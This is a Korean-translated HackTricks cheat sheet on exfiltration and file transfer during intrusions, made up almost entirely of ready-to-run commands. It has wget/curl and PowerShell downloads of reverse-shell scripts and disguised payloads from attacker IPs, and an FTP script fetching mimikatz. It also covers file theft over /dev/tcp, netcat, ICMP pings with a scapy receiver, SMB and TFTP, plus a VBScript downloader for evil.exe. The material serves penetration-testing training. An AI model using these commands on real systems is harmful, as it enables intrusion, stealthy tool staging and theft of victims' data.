hacktricks/generic-methodologies-and-resources/exfiltration.md

# Exfiltration

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## Commonly whitelisted domains to exfiltrate information

Check [https://lots-project.com/](https://lots-project.com/) to find commonly whitelisted domains that can be abused

## Copy\&Paste Base64

**리눅스**
```bash
base64 -w0 <file> #Encode file
base64 -d file #Decode file
```
**윈도우**
```
certutil -encode payload.dll payload.b64
certutil -decode payload.b64 payload.dll
```
## HTTP

**리눅스**
```bash
wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py
wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
fetch 10.10.14.14:8000/shell.py #FreeBSD
```
**윈도우**
```bash
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64
bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf

#PS
(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"

Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
#OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous
```
### 파일 업로드

* [**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170)
* [**GET 및 POST(헤더 포함) 출력하는 SimpleHttpServer**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)
* Python 모듈 [uploadserver](https://pypi.org/project/uploadserver/):
```bash
# Listen to files
python3 -m pip install --user uploadserver
python3 -m uploadserver
# With basic auth:
# python3 -m uploadserver --basic-auth hello:world

# Send a file
curl -X POST http://HOST/upload -H -F 'files=@file.txt'
# With basic auth:
# curl -X POST http://HOST/upload -H -F 'files=@file.txt' -u hello:world
```
### **HTTPS 서버**
```python
# from https://gist.github.com/dergachev/7028596
# taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/
# generate server.xml with the following command:
#    openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
# run as follows:
#    python simple-https-server.py
# then in your browser, visit:
#    https://localhost:443

### PYTHON 2
import BaseHTTPServer, SimpleHTTPServer
import ssl

httpd = BaseHTTPServer.HTTPServer(('0.0.0.0', 443), SimpleHTTPServer.SimpleHTTPRequestHandler)
httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True)
httpd.serve_forever()
###

### PYTHON3
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

httpd = HTTPServer(('0.0.0.0', 443), BaseHTTPRequestHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="./server.pem", server_side=True)
httpd.serve_forever()
###

### USING FLASK
from flask import Flask, redirect, request
from urllib.parse import quote
app = Flask(__name__)
@app.route('/')
def root():
print(request.get_json())
return "OK"
if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
###
```
## FTP

### FTP 서버 (파이썬)
```bash
pip3 install pyftpdlib
python3 -m pyftpdlib -p 21
```
### FTP 서버 (NodeJS)
```
sudo npm install -g ftp-srv --save
ftp-srv ftp://0.0.0.0:9876 --root /tmp
```
### FTP 서버 (pure-ftp)
```bash
apt-get update && apt-get install pure-ftp
```

```bash
#Run the following script to configure the FTP server
#!/bin/bash
groupadd ftpgroup
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
pure-pwd useradd fusr -u ftpuser -d /ftphome
pure-pw mkdb
cd /etc/pure-ftpd/auth/
ln -s ../conf/PureDB 60pdb
mkdir -p /ftphome
chown -R ftpuser:ftpgroup /ftphome/
/etc/init.d/pure-ftpd restart
```
### **Windows** 클라이언트
```bash
#Work well with python. With pure-ftp use fusr:ftp
echo open 10.11.0.41 21 > ftp.txt
echo USER anonymous >> ftp.txt
echo anonymous >> ftp.txt
echo bin >> ftp.txt
echo GET mimikatz.exe >> ftp.txt
echo bye >> ftp.txt
ftp -n -v -s:ftp.txt
```
## SMB

Kali를 서버로 사용
```bash
kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory
kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
#For new Win10 versions
impacket-smbserver -smb2support -user test -password test test `pwd`
```
또는 **samba**를 사용하여 smb 공유를 생성합니다:
```bash
apt-get install samba
mkdir /tmp/smb
chmod 777 /tmp/smb
#Add to the end of /etc/samba/smb.conf this:
[public]
comment = Samba on Ubuntu
path = /tmp/smb
read only = no
browsable = yes
guest ok = Yes
#Start samba
service smbd restart
```
윈도우
```bash
CMD-Wind> \\10.10.14.14\path\to\exe
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials

WindPS-1> New-PSDrive -Name "new_disk" -PSProvider "FileSystem" -Root "\\10.10.14.9\kali"
WindPS-2> cd new_disk:
```
## SCP

공격자는 SSHd가 실행 중이어야 합니다.
```bash
scp <username>@<Attacker_IP>:<directory>/<filename>
```
## SSHFS

피해자가 SSH를 가지고 있다면, 공격자는 피해자의 디렉토리를 공격자에게 마운트할 수 있다.
```bash
sudo apt-get install sshfs
sudo mkdir /mnt/sshfs
sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP address>:<Full path to folder>/ /mnt/sshfs/
```
## NC
```bash
nc -lvnp 4444 > new_file
nc -vn <IP> 4444 < exfil_file
```
## /dev/tcp

### 피해자로부터 파일 다운로드
```bash
nc -lvnp 80 > file #Inside attacker
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim
```
### 피해자에게 파일 업로드
```bash
nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
# Inside victim
exec 6< /dev/tcp/10.10.10.10/4444
cat <&6 > file.txt
```
thanks to **@BinaryShadow\_**

## **ICMP**
```bash
# To exfiltrate the content of a file via pings you can do:
xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line <IP attacker>; done
#This will 4bytes per ping packet (you could probably increase this until 16)
```

```python
from scapy.all import *
#This is ippsec receiver created in the HTB machine Mischief
def process_packet(pkt):
if pkt.haslayer(ICMP):
if pkt[ICMP].type == 0:
data = pkt[ICMP].load[-4:] #Read the 4bytes interesting
print(f"{data.decode('utf-8')}", flush=True, end="")

sniff(iface="tun0", prn=process_packet)
```
## **SMTP**

SMTP 서버에 데이터를 보낼 수 있다면, 파이썬을 사용하여 데이터를 수신할 SMTP를 생성할 수 있습니다:
```bash
sudo python -m smtpd -n -c DebuggingServer :25
```
## TFTP

기본적으로 XP와 2003에서는 (다른 버전에서는 설치 중에 명시적으로 추가해야 함)

Kali에서, **TFTP 서버 시작**:
```bash
#I didn't get this options working and I prefer the python option
mkdir /tftp
atftpd --daemon --port 69 /tftp
cp /path/tp/nc.exe /tftp
```
**파이썬의 TFTP 서버:**
```bash
pip install ptftpd
ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>
```
**희생자**에서 Kali 서버에 연결합니다:
```bash
tftp -i <KALI-IP> get nc.exe
```
## PHP

PHP 원라이너로 파일 다운로드:
```bash
echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php
```
## VBScript
```bash
Attacker> python -m SimpleHTTPServer 80
```
**희생자**
```bash
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http =CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs
```

```bash
cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
```
## Debug.exe

`debug.exe` 프로그램은 이진 파일을 검사할 수 있을 뿐만 아니라 **16진수에서 이진 파일을 재구성할 수 있는 기능**도 가지고 있습니다. 이는 이진 파일의 16진수를 제공함으로써 `debug.exe`가 이진 파일을 생성할 수 있음을 의미합니다. 그러나 `debug.exe`는 **최대 64kb 크기의 파일을 조립하는 데 제한이 있다는 점**에 유의해야 합니다.
```bash
# Reduce the size
upx -9 nc.exe
wine exe2bat.exe nc.exe nc.txt
```
그런 다음 텍스트를 윈도우 셸에 복사하여 붙여넣으면 nc.exe라는 파일이 생성됩니다.

* [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html)

## DNS

* [https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil)

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